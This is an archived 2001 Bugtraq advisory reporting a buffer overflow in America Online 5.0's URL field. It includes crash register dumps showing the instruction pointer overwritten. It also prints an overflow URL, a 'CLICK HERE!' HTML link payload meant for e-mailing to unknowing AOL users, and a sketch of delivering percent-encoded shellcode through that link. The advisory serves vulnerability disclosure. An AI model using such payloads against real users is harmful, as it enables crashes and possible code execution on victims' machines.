[18827] in bugtraq


home	help	back	first	fref	pref	prev	next	nref	lref	last	post
America Online 5.0 contains a buffer overflow

daemon@ATHENA.MIT.EDU (scalar)
Fri Jan 26 12:32:11 2001

Mime-Version: 1.0
Content-Type: multipart/mixed;
              boundary="----=_NextPart_000_000B_01C086F5.BE5AB8E0"
X-Apparently-From: JulieRogles@aol.com
Message-Id:  <000f01c08728$0a127fc0$fdd40f04@pavilion>
Date:         Thu, 25 Jan 2001 17:39:18 -0600
Reply-To: scalar <scalar@SHADOWVX.COM>
From: scalar <scalar@SHADOWVX.COM>
To: BUGTRAQ@SECURITYFOCUS.COM

This is a multi-part message in MIME format.

------=_NextPart_000_000B_01C086F5.BE5AB8E0
Content-Type: multipart/alternative;
	boundary="----=_NextPart_001_000C_01C086F5.BE5AB8E0"


------=_NextPart_001_000C_01C086F5.BE5AB8E0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Hello,
     I have found found a buffer overflow in America Online 5.0. The =
overflow is very unusual. Please read the attached advisoryt for full =
details. Or, go to =
http://chronix.shadowvx.com/advisories/scalar-01-03.txt and view it =
there.

thanks,

scalar

------=_NextPart_001_000C_01C086F5.BE5AB8E0
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Dwindows-1252" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2722.2800" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#000000 face=3DArial size=3D2>Hello,</FONT></DIV>
<DIV><FONT color=3D#000000 face=3DArial =
size=3D2>&nbsp;&nbsp;&nbsp;&nbsp; I have found=20
found a buffer overflow in America Online 5.0. The overflow is very =
unusual.=20
Please read the attached advisoryt for full details. Or, go to <A=20
href=3D"http://chronix.shadowvx.com/advisories/scalar-01-03.txt">http://c=
hronix.shadowvx.com/advisories/scalar-01-03.txt</A>=20
and view it there.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT color=3D#000000 face=3DArial size=3D2>thanks,</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT color=3D#000000 face=3DArial =
size=3D2>scalar</FONT></DIV></BODY></HTML>

------=_NextPart_001_000C_01C086F5.BE5AB8E0--

------=_NextPart_000_000B_01C086F5.BE5AB8E0
Content-Type: text/plain;
	name="scalar-01-03.txt"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment;
	filename="scalar-01-03.txt"


                     Scalar Security Research Labs
                  ===================================

                               Presents

--------------------------[ Advisory 01-03 ]--------------------------


Advisory ID : 01-03
Synopsis    : A buffer overflow in America Online 5.0
Application : America Online 5.0; other versions may be
              affected
Vendor      : Not yet notified
Web Contact : www.aol.com
Exploit     : Possible denial-of-service and ability for
              arbitrary command execution
Author      : scalar
E-mail      : scalar@shadowvx.com
Homepage    : chronix.shadowvx.com


---| Table of Contents

---| The Problem
---| Exploit Details
---| Patches/Workarounds
---| Disclaimer
---| Feedback


---| The Problem:

	America Online 5.0 is the software used by millions of users to
connect to the online service America Online provides. Within the
software is a field in which the user inputs the URL of the website
he/she wishes to visit. Under several tests performed, this field
has had its buffer overflowed, however, the characteristics of the
overflow are very unusual.
	The exact amount of characters to overflow the buffer has varied
with every test, and this is assuming the overflow attempts were even
successful. The following URL has overflowed the buffer:

http://existing_host/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAA

Though, repeating the test with same amount of characters has been
unsuccessful. More commonly, twice the amount of 'A' characters has
overflowed the buffer. Though, the malicious user must craft the amount
prudently, because entering too many characters causes the AOL 5.0
software to open the "Keyword" window box, and completely disregard the
URL request.
	When the buffer does overflow, two popups appear indicating that
an invalid page fault has occured.  The first popup always outputs
the error in module WWW.TOL. This is a file located at:

C:\America Online 5.0\tool\www.tol

The second popup is visible as soon as the first is closed. The
following data is the information given by Windows:

[ First Popup ]

WAOL caused an invalid page fault in
module WWW.TOL at 0167:6360728d.
Registers:
EAX=41414141 CS=0167 EIP=6360728d EFLGS=00010206
EBX=00000000 SS=016f ESP=0064dfd4 EBP=0064dfdc
ECX=0066c538 DS=016f ESI=ffff0197 FS=6007
EDX=00000030 ES=016f EDI=00000030 GS=0000
Bytes at CS:EIP:
66 39 38 74 6e 8b 40 02 85 c0 75 f4 be bc a5 60
Stack dump:
0064e080 ffff0197 0064e000 63607331 00000030
00817780 0064e528 00000009 6340414e ffff0197
00000030 0064e024 634040b8 00000009 0064e528
00000007

[ Second Popup ]

WAOL caused an invalid page fault in
module <unknown> at 0000:41414141.
Registers:
EAX=41414141 CS=0167 EIP=41414141 EFLGS=00010206
EBX=63600000 SS=016f ESP=0404fc54 EBP=0404fc70
ECX=41414141 DS=016f ESI=00000000 FS=6d77
EDX=00000000 ES=016f EDI=00000001 GS=0000
Bytes at CS:EIP:

Stack dump:
636077f3 63600000 00000000 00000001 00000000
63600000 8174047c 0404fe38 bff7ddd6 63600000
00000001 00000001 00000000 63600000 8174047c
8175ddd8

By analyzing the second popup we see EIP=41414141. 0x41 is the hex
value of 'A', which is the character used to overflow the buffer.
EIP is the register of the next instruction pointer (i.e., the next
instruction executed). Overwriting this register would allow any
command supplied by the attacker to be executed. The problem
exploiting this particular overflow is that the varying amount of
characters required to overflow the buffer causes difficulties in
determining the point where EIP becomes overwritten.

---| Exploit Details:

	No exploit has been written at this time. Though, a possible
denial-of-service may occur if a hyperlink of type:

<a href="http://existing_host/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA">CLICK HERE!</a>

was to be embedded within a HTML e-mail sent to an unknowing AOL user
that clicks on the hyperlink.
	If this was to work, possible shellcode could also be sent
within the link using the % metacharacter. This type of exploitation
is completely untested. And, due to the instability of the overflow,
if this would work, several attempts (clicks) may be required. The
format of the exploit would be http://%opcode%opcode%opcode, where
%opcode refers to shellcode. For example, a null in the form of \x00
would be converted to %00.

---| Patches/Workarounds:

	None known at this time.

---| Disclaimer:

  The information contained in this advisory is the copyright of
  Scalar Security Research Labs. The data is believed to be accurate
  at the time of release, but no representation or warranty is given,
  express or implied, as to its accuracy or completeness. Neither
  the author nor the publisher accepts any liability whatsoever for
  any direct, indirect or conquential loss or damage arising in any
  way from any use of, or reliance placed on, this information for
  any purpose. This advisory may be redistributed provided that no
  fee is assigned and that the content is not modified in any way.

---| Feedback:

Please send suggestions, updates, and comments to:

Scalar Security Research Labs

  E-mail   : scalar@shadowvx.com
  Homepage : chronix.shadowvx.com



______________________________________________________________________

                            Copyright 2001.
                    Scalar Security Research Labs.
                         All rights reserved.


------=_NextPart_000_000B_01C086F5.BE5AB8E0--

home	help	back	first	fref	pref	prev	next	nref	lref	last	post
[18827] in bugtraq

America Online 5.0 contains a buffer overflow

daemon@ATHENA.MIT.EDU (scalar)Fri Jan 26 12:32:11 2001

daemon@ATHENA.MIT.EDU (scalar)
Fri Jan 26 12:32:11 2001
